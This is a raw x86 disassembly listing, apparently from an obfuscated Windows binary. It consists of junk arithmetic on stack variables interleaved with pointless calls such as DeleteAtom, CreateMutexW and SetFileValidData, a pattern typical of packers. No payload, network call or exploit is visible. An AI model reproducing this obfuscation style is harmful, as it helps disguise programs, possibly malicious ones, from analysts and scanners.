mov edx, dword [ebp - 0x708]
add ecx, dword [edx]
mov dword [ebp - 0x154], ecx
mov eax, dword [ebp - 0x178]
add eax, dword [ebp - 0x71c]
mov ecx, dword [ebp - 0x37c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x37c]
mov eax, dword [edx]
and eax, dword [0x40ec88]
mov ecx, dword [ebp - 0x37c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x4ac]
movsx eax, word [0x40e008]
add edx, eax
mov word [ebp - 0x384], dx
movsx ecx, byte [ebp - 0x385]
sub ecx, 0x34
mov byte [ebp - 0x385], cl
mov edx, dword [ebp - 0x37c]
mov eax, dword [edx]
add eax, dword [ebp - 0x178]
mov dword [0x40ec88], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ebp - 0x3cc]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x180], edx
movzx eax, word [0x40e004]
movzx ecx, word [ebp - 0x3dc]
sar eax, cl
mov word [ebp - 0x1c], ax
movzx ecx, byte [ebp - 0x3cd]
movzx edx, byte [ebp - 0x71d]
or ecx, edx
mov byte [ebp - 0x1a5], cl
mov eax, dword [ebp - 0x414]
add eax, 0x66
mov dword [ebp - 0x414], eax
movzx ecx, word [ebp - 0x30]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x3ac], ax
mov edx, dword [ebp - 0x3f0]
xor edx, dword [ebp - 0x178]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x58c]
and eax, dword [ebp - 0x3b0]
mov ecx, dword [ebp - 0x708]
mov dword [ecx], eax
mov edx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x708]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x300]
mov dword [edx], ecx
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x71c]
mov dword [ebp - 0x178], ecx
mov edx, dword [ebp - 0x178]
sub edx, dword [ebp - 0x3f0]
mov eax, dword [ebp - 0x37c]
mov dword [eax], edx
movzx ecx, word [ebp - 0x1b0]
movzx edx, word [ebp - 0x3c0]
add ecx, edx
mov word [0x40e004], cx
lea eax, [ebp - 0x528]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov ecx, dword [ebp - 0x3b0]
add ecx, dword [ebp - 0x180]
mov dword [ebp - 0x58c], ecx
mov edx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x708]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x37c]
mov eax, dword [ebp - 0x3f0]
and eax, dword [edx]
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x154]
add edx, dword [ecx]
mov dword [ebp - 0x180], edx
cmp dword [ebp - 0x414], 0x6630
jne 0x40224f
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x1ac], eax
mov cl, byte [ebp - 0x385]
mov byte [ebp - 0x37d], cl
mov dx, word [ebp - 0x4ac]
mov word [ebp - 0x41c], dx
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x3dc]
xor eax, ecx
mov word [ebp - 0x1c], ax
mov dword [ebp - 0x2d8], 0x114
movsx eax, byte [ebp - 0x37d]
movsx ecx, byte [ebp - 0x385]
cdq
idiv ecx
mov byte [0x40e001], al
mov dl, byte [ebp - 0x3b1]
mov byte [ebp - 0x1b5], dl
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x430], eax
movsx eax, byte [ebp - 0x385]
movsx ecx, byte [ebp - 0x37d]
sar eax, cl
movsx ecx, byte [0x40e001]
cmp eax, ecx
jg 0x402751
mov edx, dword [ebp - 0x37c]
mov eax, dword [edx]
or eax, dword [ebp - 0x178]
mov dword [ebp - 0x71c], eax
movzx edx, word [0x40e004]
movzx ecx, word [ebp - 0x1c]
shl edx, cl
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x3dc]
add eax, ecx
cmp edx, eax
jge 0x402751
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x2fc], eax
mov edx, dword [ebp - 0x158]
mov dword [ebp - 0x310], edx
movzx eax, word [ebp - 0x1b0]
imul eax, eax, 0x30a
mov word [ebp - 0x3dc], ax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x510]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0x58c]
sub edx, dword [ecx]
cmp eax, edx
je 0x40273d
mov dword [ebp - 0x700], 0x114
mov dword [ebp - 0x314], 0xdb2
lea eax, [ebp - 0x71d]
mov dword [ebp - 0x4fc], eax
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3f0]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x158]
mov dword [ebp - 0x710], eax
jmp 0x402751
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
add edx, dword [ebp - 0x158]
mov dword [ebp - 0x4b4], edx
lea eax, [ebp - 0x3f0]
mov dword [ebp - 0x508], eax
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [section..data]
sub edx, eax
mov byte [ebp - 0x1b5], dl
mov cx, word [ebp - 0x1c]
mov word [ebp - 0x168], cx
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x300]
add eax, dword [ecx]
mov dword [ebp - 0x58c], eax
mov edx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x708]
mov ecx, dword [edx]
imul ecx, dword [eax]
mov edx, dword [ebp - 0x300]
mov dword [edx], ecx
mov ax, word [ebp - 0x41c]
mov word [ebp - 0x4bc], ax
movsx ecx, byte [ebp - 0x37d]
movsx edx, byte [0x40e001]
and ecx, edx
mov byte [ebp - 0x385], cl
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x3cd]
or ecx, edx
mov byte [ebp - 0x3b1], cl
movzx eax, word [ebp - 0x3dc]
movzx ecx, word [ebp - 0x1c]
xor eax, ecx
mov word [0x40e004], ax
mov edx, dword [ebp - 0x508]
mov eax, dword [ebp - 0x37c]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x178], edx
mov eax, dword [ebp - 0x508]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x178]
shl edx, cl
mov eax, dword [ebp - 0x37c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4b4]
sub ecx, dword [ebp - 0x154]
mov dword [ebp - 0x2dc], ecx
mov edx, dword [ebp - 0x510]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x300]
add eax, dword [ecx]
mov edx, dword [ebp - 0x708]
mov dword [edx], eax
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x314]
add edx, 0xb9
mov dword [ebp - 0x314], edx
movzx eax, word [ebp - 0x3c0]
movzx ecx, word [ebp - 0x1b0]
add eax, ecx
mov word [ebp - 0x3dc], ax
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a5]
sub eax, ecx
mov byte [ebp - 0x1b5], al
mov edx, dword [ebp - 0x37c]
mov eax, dword [edx]
add eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x180]
add ecx, dword [ebp - 0x2dc]
mov dword [ebp - 0x4b4], ecx
movsx edx, byte [ebp - 0x37d]
movsx eax, byte [ebp - 0x385]
add edx, eax
mov byte [0x40e001], dl
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x178]
mov eax, dword [ebp - 0x37c]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x71d]
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x1b5], cl
movzx ecx, word [ebp - 0x1b0]
movzx edx, word [ebp - 0x168]
sub ecx, edx
mov word [ebp - 0x1c], cx
movsx eax, word [ebp - 0x4ac]
movsx ecx, word [ebp - 0x4bc]
shl eax, cl
mov word [ebp - 0x384], ax
movsx ecx, byte [ebp - 0x385]
movsx edx, byte [0x40e001]
or ecx, edx
mov byte [ebp - 0x37d], cl
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x508]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x708]
mov edx, dword [ebp - 0x58c]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x3cc], edx
movzx eax, word [ebp - 0x1c]
movzx ecx, word [ebp - 0x168]
and eax, ecx
mov word [ebp - 0x3dc], ax
movzx edx, byte [ebp - 0x1b5]
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
add edx, ecx
mov byte [section..data], dl
mov edx, dword [ebp - 0x58c]
add edx, dword [ebp - 0x3b0]
mov dword [ebp - 0x4b4], edx
mov eax, dword [ebp - 0x508]
mov ecx, dword [ebp - 0x71c]
and ecx, dword [eax]
mov edx, dword [ebp - 0x37c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x58c]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
cmp dword [ebp - 0x314], 0x46c9
jne 0x4027bd
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x180]
sub ecx, dword [eax]
mov dword [ebp - 0x2dc], ecx
mov dword [ebp - 0x150], 0x40e004
mov edx, dword [ebp - 0x4fc]
mov al, byte [edx]
mov byte [ebp - 0x4f1], al
cmp dword [ebp - 0x15c], 0x8363
jbe 0x402e3c
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x178]
mov dword [ebp - 0x3f0], edx
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x180]
add ecx, dword [eax]
mov dword [ebp - 0x4b4], ecx
mov edx, dword [ebp - 0x708]
mov eax, dword [ebp - 0x154]
add eax, dword [edx]
mov ecx, dword [ebp - 0x510]
mov dword [ecx], eax
mov edx, dword [ebp - 0x510]
mov eax, dword [ebp - 0x708]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x300]
mov dword [edx], ecx
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x510]
mov edx, dword [eax]
or edx, dword [ecx]
mov dword [ebp - 0x58c], edx
movsx eax, word [ebp - 0x41c]
movsx ecx, word [ebp - 0x4bc]
sar eax, cl
mov word [ebp - 0x4ac], ax
movsx edx, byte [0x40e001]
movsx ecx, byte [ebp - 0x385]
shl edx, cl
mov byte [ebp - 0x37d], dl
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
movzx edx, word [0x40e004]
and ecx, edx
mov eax, dword [ebp - 0x150]
mov word [eax], cx
movzx ecx, byte [ebp - 0x4f1]
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x1a5], cl
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x71c]
mov dword [ebp - 0x3f0], edx
mov eax, dword [0x40ec88]
add eax, dword [ebp - 0x71c]
mov ecx, dword [ebp - 0x37c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3cd]
add eax, ecx
mov edx, dword [ebp - 0x4fc]
mov byte [edx], al
movzx eax, word [0x40e004]
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0x1b0], ax
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x58c]
sub ecx, dword [eax]
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
sub eax, dword [ebp - 0x71c]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x510]
add edx, dword [eax]
mov dword [ebp - 0x158], edx
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x158]
mov dword [ebp - 0x154], edx
mov eax, dword [ebp - 0x150]
movzx edx, word [eax]
movzx ecx, word [ebp - 0x3c0]
sar edx, cl
mov eax, dword [ebp - 0x150]
mov word [eax], dx
mov ecx, dword [ebp - 0x15c]
sub ecx, 0xa4
mov dword [ebp - 0x15c], ecx
movzx edx, word [ebp - 0x30]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x3bc], ax
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x71d]
or ecx, edx
mov byte [ebp - 0x4f1], cl
mov eax, dword [ebp - 0x508]
mov ecx, dword [ebp - 0x37c]
mov edx, dword [eax]
xor edx, dword [ecx]
mov dword [ebp - 0x71c], edx
movzx eax, word [ebp - 0x3c0]
mov ecx, dword [ebp - 0x150]
movzx ecx, word [ecx]
shl eax, cl
mov word [0x40e004], ax
movsx edx, byte [ebp - 0x385]
movsx eax, byte [0x40e001]
and edx, eax
mov byte [ebp - 0x37d], dl
movsx ecx, word [ebp - 0x41c]
movsx edx, word [ebp - 0x384]
add ecx, edx
mov word [ebp - 0x4ac], cx
movzx eax, word [0x40e004]
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x3c0], ax
movzx eax, byte [ebp - 0x4f1]
movzx ecx, byte [ebp - 0x71d]
add eax, ecx
mov byte [ebp - 0x1b5], al
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
sub eax, dword [ebp - 0x178]
mov dword [ebp - 0x3f0], eax
mov ecx, dword [ebp - 0x180]
sub ecx, dword [ebp - 0x154]
mov dword [ebp - 0x710], ecx
mov edx, dword [ebp - 0x180]
and edx, dword [ebp - 0x1ac]
mov eax, dword [ebp - 0x510]
mov dword [eax], edx
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x37c]
add edx, dword [eax]
mov ecx, dword [ebp - 0x508]
mov dword [ecx], edx
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [0x40ec82]
sub eax, ecx
mov byte [section..data], al
movzx edx, word [ebp - 0x3c0]
movzx eax, word [ebp - 0x3dc]
sub edx, eax
mov word [ebp - 0x1c], dx
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [section..data]
or edx, eax
mov byte [ebp - 0x4f1], dl
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x708]
mov eax, dword [ecx]
mov ecx, dword [edx]
sar eax, cl
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x508]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x178]
shl edx, cl
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x3b0]
xor ecx, dword [eax]
mov dword [ebp - 0x310], ecx
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
and eax, dword [ebp - 0x158]
mov dword [ebp - 0x154], eax
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3dc]
add edx, eax
mov word [ebp - 0x1b0], dx
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [section..data]
sub edx, eax
mov ecx, dword [ebp - 0x4fc]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x385]
movsx eax, byte [ebp - 0x37d]
sub edx, eax
mov byte [0x40e001], dl
movsx ecx, word [ebp - 0x41c]
movsx edx, word [0x40e008]
add ecx, edx
mov word [ebp - 0x4ac], cx
mov eax, dword [ebp - 0x508]
mov ecx, dword [ebp - 0x37c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x3f0], edx
mov eax, dword [ebp - 0x1ac]
sub eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x158], eax
movzx ecx, byte [ebp - 0x1a5]
movzx edx, byte [ebp - 0x1b5]
and ecx, edx
mov eax, dword [ebp - 0x4fc]
mov byte [eax], cl
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3dc]
add edx, eax
mov word [ebp - 0x1b0], dx
jmp 0x402a2a
mov ecx, dword [ebp - 0x178]
or ecx, dword [ebp - 0x3f0]
mov dword [ebp - 0x71c], ecx
mov edx, dword [ebp - 0x300]
mov eax, dword [ebp - 0x158]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
mov dword [ebp - 0x418], edx
mov ecx, dword [ebp - 0x510]
mov eax, dword [ebp - 0x158]
cdq
idiv dword [ecx]
mov edx, dword [ebp - 0x4b4]
mov ecx, dword [ebp - 0x154]
sar edx, cl
cmp eax, edx
jne 0x402ecd
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x3f0]
xor ecx, dword [eax]
mov dword [0x40ec88], ecx
call dword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [ebp - 0x178], eax
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a5]
sub eax, ecx
mov edx, dword [ebp - 0x4fc]
mov byte [edx], al
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x3c0]
and ecx, edx
mov word [ebp - 0x1c], cx
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
mov dword [ebp - 0x52c], ecx
mov edx, dword [ebp - 0x708]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x510]
add eax, dword [ecx]
mov dword [ebp - 0x154], eax
lea edx, [ebp - 0x71c]
mov dword [ebp - 0x4dc], edx
mov al, byte [ebp - 0x37d]
mov byte [ebp - 0x730], al
cmp byte [ebp - 0x730], 0x5e
je 0x402f2a
jmp 0x402f72
mov ecx, dword [ebp - 0x52c]
add ecx, dword [ebp - 0x3cc]
mov edx, dword [ebp - 0x300]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
push ecx
movzx edx, word [ebp - 0x4bc]
push edx
movzx eax, word [ebp - 0x384]
push eax
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x37c]
mov ecx, dword [eax]
call fcn.00401000
jmp 0x4046fa
mov ecx, dword [ebp - 0x300]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x708]
add edx, dword [eax]
mov dword [ebp - 0x52c], edx
mov cl, byte [ebp - 0x37d]
mov byte [ebp - 0x15d], cl
mov edx, dword [ebp - 0x150]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1c]
sub eax, ecx
mov word [0x40e00c], ax
mov dx, word [ebp - 0x41c]
mov word [ebp - 0x4b0], dx
push 0
push 0x7ea484
mov eax, dword [ebp - 0x318]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [ebp - 0x174], eax
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x3dc]
add edx, eax
mov word [ebp - 0x1b0], dx
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1a5]
sub edx, eax
mov byte [ebp - 0x71d], dl
mov ecx, dword [ebp - 0x508]
mov edx, dword [ebp - 0x4dc]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x300]
mov edx, dword [ebp - 0x2dc]
and edx, dword [ecx]
mov eax, dword [ebp - 0x510]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3b1]
or edx, eax
mov byte [ebp - 0x4f1], dl
movzx edx, word [ebp - 0x1c]
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x168], dx
mov edx, dword [ebp - 0x71c]
mov ecx, dword [ebp - 0x178]
shr edx, cl
mov dword [ebp - 0x3f0], edx
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x58c]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x4cc], eax
mov eax, dword [ebp - 0x510]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x300]
add ecx, dword [edx]
mov dword [ebp - 0x158], ecx
mov eax, dword [ebp - 0x37c]
mov ecx, dword [ebp - 0x178]
add ecx, dword [eax]
mov edx, dword [ebp - 0x4dc]
mov dword [edx], ecx
movzx eax, word [ebp - 0x168]
movzx ecx, word [ebp - 0x3dc]
and eax, ecx
mov edx, dword [ebp - 0x150]
mov word [edx], ax
mov eax, dword [ebp - 0x4ec]
add eax, 0xd5
mov dword [ebp - 0x4ec], eax
movzx ecx, byte [section..data]
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3cd], cl
mov ecx, dword [ebp - 0x158]
add ecx, dword [ebp - 0x4b4]
mov dword [ebp - 0x154], ecx
mov edx, dword [ebp - 0x510]
mov eax, dword [ebp - 0x708]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x300]
mov dword [edx], ecx
mov eax, dword [ebp - 0x300]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x52c]
mov edx, dword [ebp - 0x510]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x37d]
movsx ecx, byte [ebp - 0x385]
add eax, ecx
mov byte [ebp - 0x15d], al
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x71d]
sub eax, ecx
mov byte [0x40ec82], al
movzx edx, word [ebp - 0x3c0]
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
sub edx, ecx
mov word [ebp - 0x1c], dx
mov edx, dword [ebp - 0x508]
mov eax, dword [ebp - 0x3f0]
sub eax, dword [edx]
mov dword [ebp - 0x178], eax
mov ecx, dword [ebp - 0x4dc]
mov edx, dword [ebp - 0x508]
mov eax, dword [ecx]
or eax, dword [edx]
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x4ec], 0x65f8
jb 0x402fb7
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0x510]
mov eax, dword [ecx]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x710], eax
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
mov dword [ebp - 0x4e0], edx
movsx eax, word [ebp - 0x41c]
movsx ecx, word [ebp - 0x4b0]
xor eax, ecx
movsx edx, word [ebp - 0x384]
movsx ecx, word [0x40e008]
sar edx, cl
cmp eax, edx
je 0x403256
mov eax, dword [ebp - 0x708]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x158], ecx
mov edx, dword [ebp - 0x150]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x168]
and eax, ecx
mov word [ebp - 0x1b0], ax
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1b5]
add eax, ecx
mov byte [ebp - 0x71d], al
call fcn.004048a0
jmp 0x40330a
movzx edx, word [ebp - 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x3bc], ax
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x180]
sub ecx, dword [eax]
mov edx, dword [ebp - 0x158]
add edx, dword [ebp - 0x1ac]
cmp ecx, edx
je 0x4032ce
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0x37c]
mov eax, dword [eax]
xor edx, edx
div dword [ecx]
mov dword [ebp - 0x178], eax
mov dx, word [ebp - 0x384]
mov word [0x40ec80], dx
mov eax, dword [ebp - 0x4b4]
mov dword [ebp - 0x3a8], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0x1ac]
or edx, dword [ecx]
mov dword [ebp - 0x3b0], edx
jmp 0x40330a
movsx eax, word [ebp - 0x41c]
movsx ecx, word [ebp - 0x384]
add eax, ecx
movsx edx, word [ebp - 0x4bc]
movsx ecx, word [0x40e008]
add edx, ecx
cmp eax, edx
jge 0x40330a
mov edx, dword [ebp - 0x37c]
mov eax, dword [ebp - 0x71c]
mov ecx, dword [edx]
shr eax, cl
mov ecx, dword [ebp - 0x4dc]
mov dword [ecx], eax
mov edx, dword [ebp - 0x150]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x1b0]
shl eax, cl
mov word [ebp - 0x3c0], ax
mov ecx, dword [ebp - 0x4fc]
mov dl, byte [ecx]
mov byte [ebp - 0x3f1], dl
movsx eax, word [ebp - 0x4ac]
movsx ecx, word [ebp - 0x4b0]
xor eax, ecx
mov word [ebp - 0x384], ax
mov dl, byte [ebp - 0x15d]
mov byte [ebp - 0x401], dl
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
movzx edx, word [0x40e004]
and ecx, edx
movzx eax, word [ebp - 0x1b0]
movzx edx, word [ebp - 0x168]
sub eax, edx
cmp ecx, eax
je 0x4033c0
movzx eax, word [ebp - 0x3dc]
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
add eax, edx
mov word [ebp - 0x3c0], ax
mov eax, dword [ebp - 0x300]
mov ecx, dword [ebp - 0x2dc]
sub ecx, dword [eax]
mov dword [ebp - 0x3b0], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [ebp - 0x178]
add eax, dword [edx]
mov dword [ebp - 0x3f0], eax
jmp 0x4046ac
movzx ecx, byte [ebp - 0x3b1]
movzx edx, byte [ebp - 0x71d]
sub ecx, edx
mov eax, dword [ebp - 0x4fc]
movzx edx, byte [eax]
movzx eax, byte [ebp - 0x3f1]
sub edx, eax
cmp ecx, edx
jne 0x4046ac
mov ecx, dword [ebp - 0x4fc]
mov dl, byte [ecx]
mov byte [ebp - 0x734], dl
cmp byte [ebp - 0x734], 0
je 0x403413
cmp byte [ebp - 0x734], 0xf1
je 0x404633
jmp 0x404678
mov eax, dword [ebp - 0x510]
mov ecx, dword [ebp - 0x4e0]
and ecx, dword [eax]
mov dword [0x40e010], ecx
mov edx, dword [ebp - 0x508]
mov eax, dword [edx]
imul eax, eax, 0xce57
mov dword [ebp - 0x71c], eax
mov ecx, dword [ebp - 0x708]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x510]
add edx, dword [eax]
mov ecx, dword [ebp - 0x708]
mov dword [ecx], edx
lea edx, [ebp - 0x710]
mov dword [ebp - 0x428], edx
mov eax, dword [ebp - 0x158]
add eax, dword [ebp - 0x310]
mov dword [ebp - 0x180], eax
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1c]
add edx, eax
movzx ecx, word [ebp - 0x3c0]
movzx eax, word [ebp - 0x168]
sub ecx, eax
cmp edx, ecx
jl 0x4034ed
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
mov dword [ebp - 0x3e4], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [ebp - 0x3f0]
imul ecx, dword [eax]
mov edx, dword [ebp - 0x37c]
mov eax, dword [edx]
sub eax, dword [ebp - 0x178]
cmp ecx, eax
jb 0x4034e8
movzx ecx, byte [ebp - 0x401]
push ecx
movzx edx, byte [ebp - 0x385]
push edx
movzx eax, byte [ebp - 0x401]
push eax
movzx ecx, byte [ebp - 0x401]
push ecx
call fcn.004010d0
jmp 0x403587
mov edx, dword [ebp - 0x4dc]
mov eax, dword [ebp - 0x3f0]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x178]
and ecx, dword [ebp - 0x71c]
cmp eax, ecx
jae 0x403587
movsx edx, word [ebp - 0x4b0]
movsx eax, word [ebp - 0x4bc]
add edx, eax
mov word [ebp - 0x41c], dx
mov ecx, dword [ebp - 0x708]
mov edx, dword [ebp - 0x510]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x428]
mov dword [ecx], eax
mov edx, dword [ebp - 0x4fc]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x3f1]
xor eax, ecx
mov byte [ebp - 0x3b1], al
movzx edx, word [ebp - 0x1c]
mov eax, dword [ebp - 0x150]
movzx ecx, word [eax]
sar edx, cl
mov word [0x40e004], dx
mov ecx, dword [ebp - 0x510]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0x4fc]
movzx ecx, byte [eax]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call fcn.00404840
mov eax, dword [0x40ec88]
or eax, dword [ebp - 0x71c]
mov ecx, dword [ebp - 0x37c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x178]
shl edx, cl
cmp eax, edx
jb 0x40455e
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x59c], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x304], eax
mov eax, dword [ebp - 0x708]
mov ecx, dword [ebp - 0x428]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x510]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4fc]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x3f1]
add edx, eax
mov byte [0x40e002], dl
mov ecx, dword [ebp - 0x150]
movzx edx, word [ecx]
